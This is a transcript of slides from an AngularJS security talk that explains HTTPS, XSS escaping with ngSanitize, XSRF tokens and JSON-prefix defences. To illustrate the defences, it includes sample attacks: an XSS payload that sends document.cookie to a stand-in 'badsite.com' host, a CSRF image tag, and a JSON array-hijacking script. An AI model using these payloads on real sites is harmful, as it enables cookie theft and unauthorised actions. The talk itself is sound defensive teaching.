secure my ng-app

46
Secure my ng-app! M A Hossain Tonu <I want to>

Upload: m-a-hossain-tonu

Post on 02-Dec-2014

468 views

Category:

Technology


0 download

DESCRIPTION

Secure your AngularJS Application in minimal approach :)

TRANSCRIPT

Page 1: Secure my ng-app

Secure my ng-app!M A Hossain Tonu

<I want to>

Page 2: Secure my ng-app

AngularJS is a <battle> tank?

Page 3: Secure my ng-app

Wakeup!

It’s just a client side <framework>!

Page 4: Secure my ng-app

<head-scratching>

So what to do now?

Page 5: Secure my ng-app

Do <what> the whole world does!

Page 6: Secure my ng-app

<Follow> the security checklist

(basic)!

Page 7: Secure my ng-app

Basics to secure my ng app!

• Securing the server

• Prevent Man-in-the-middle

• Prevent XSS with NG Sanitize

• Prevent XSRF

• Prevent JSON Injection

Page 8: Secure my ng-app

Security is nothing but doing

right things in right way.

Page 9: Secure my ng-app

Securing the Server

Page 10: Secure my ng-app

Securing the Server

Authorization + Authentication

Page 11: Secure my ng-app

Authorization

OAuth2

(http://oauth.net/)

Page 12: Secure my ng-app

Authorization

Unauthorized access = HTTP 401

Page 13: Secure my ng-app

Authentication API

POST /login!

POST /register !

POST /logout !

GET /current-user

Page 14: Secure my ng-app

Preventing Cookie Snooping

<man-in-the- middle attacks>

Page 15: Secure my ng-app

HTTPS = Sanity

Page 16: Secure my ng-app

Http should not be hardcoded

angular!.module(‘app’)!.constant('NGCONF_CONFIG', !{! baseUrl: ‘/my-precious-url/‘,! dbName: 'ngconf'!});

Page 17: Secure my ng-app

<authentication cookie to HTTPS only>

httpOnly and secure options to true

Page 18: Secure my ng-app

<Prevent>

The XSS!

Page 19: Secure my ng-app

Example, at index.php

$name = $_GET['name'];!

echo "Welcome $name<br>";!

echo "<a href=“http://mythikthaksite.com/“>My profile</a>";

Page 20: Secure my ng-app

Example, at index.php

index.php?

name=guest<script>alert('attacked')</

script>

Page 21: Secure my ng-app

Example, at index.phpindex.php?name=<script>window.onload

= function() {var

link=document.getElementsByTagName(“

a");link[0].href="http://badsite.com/

xss?"+document.cookie;}</script>

Page 22: Secure my ng-app

Escaping is the

ultimate solution!

Page 23: Secure my ng-app

AngularJS expressions

ng-bind

{{curly braces}}

Page 24: Secure my ng-app

General defence against XSS!

$scope.msg = 'Hello, <b>World</b>!';

<p ng-bind="msg"></p>

<p>Hello, &lt;b&gt;World&lt;/b&gt;!</p>

+

=

Page 25: Secure my ng-app

Display Markup?

$scope.msg = 'Hello, <b>World</b>!';

<p ng-bind-html-unsafe="msg"></p>

<p>Hello, <b>World</b>!</p>

+

=

Page 26: Secure my ng-app

Allow safe HTML tags

$scope.msg = 'Hello, <b>World</b>!';

<p ng-bind-html="msg"></p>

<p>Hello, <b>World</b>!</p>

+

=

Page 27: Secure my ng-app

ng-bind-html

• Sanitizes <script> and <style>

elements

• Sanitizes attributes that take URLs

such as href, src, and usemap.

Page 28: Secure my ng-app

ng-bind-html dependency

angular.module('expressionsEscaping', [‘ngSanitize'])!!

.controller('ExpressionsEscapingCtrl', function ($scope) {! $scope.msg = 'Hello, <b>World</b>!';! });!

Page 29: Secure my ng-app

$sanitize service

var safeDescription = $sanitize(description);

Page 30: Secure my ng-app

Preventing XSRF

Page 31: Secure my ng-app

Example, Follower Trap

http://my.loggedin.site.com/follow/USERNAME/

Page 32: Secure my ng-app

Meanwhile in an Evil Page!

<img

src=“http://my.loggedin.site.com/follow/USERNAME/“

width=“1”

height=“1”>

Page 33: Secure my ng-app

$http service comes in with a solution!

Page 34: Secure my ng-app

Solution!• Server sets a session cookie XSRF-TOKEN

• $http extracts this token

• $http attaches it as a header X-XSRF-TOKEN

• Token, auth cookie digest with added salt!

yummy!

Page 35: Secure my ng-app

JSON injection

vulnerability

Page 36: Secure my ng-app

Loggedin at goodsite!

http://goodsite.com/secret-info.json

[‘a’, ‘b', 'c']

Page 37: Secure my ng-app

Meanwhile in an Evil

Page!

Page 38: Secure my ng-app

<script type="text/javascript">!

var json;!

Array = function() { json = this;};!

</script>!

<script src=“http://goodsite.com/secret-info.json" type="text/javascript">!

<script type=“text/javascript"> !

for(var index in json) { console.log(json[index]); }!

</script>

Page 39: Secure my ng-app

Deliver Invalid JSON!

)]}',

[‘a’, ‘b', 'c']

Page 40: Secure my ng-app

$http service automatically

strips this prefix string

Page 41: Secure my ng-app

This is it?

Now implement

Your Own Security Patterns :)

Page 42: Secure my ng-app

Homework for Good kids

• Adding your own Security Service

• securityInterceptor Service

• Secure routes using Route Resolvers

Page 43: Secure my ng-app

Mastering Web Application

Development with AngularJS

Page 45: Secure my ng-app

QA?

Page 46: Secure my ng-app

Who am I?

!

http://mahtonu.wordpress.com

Vantage Labs Dhaka

@mahtonu

Authored the title “PHP

Application Development with

NetBeans: Beginner's Guide”

http://link.packtpub.com/6HaElo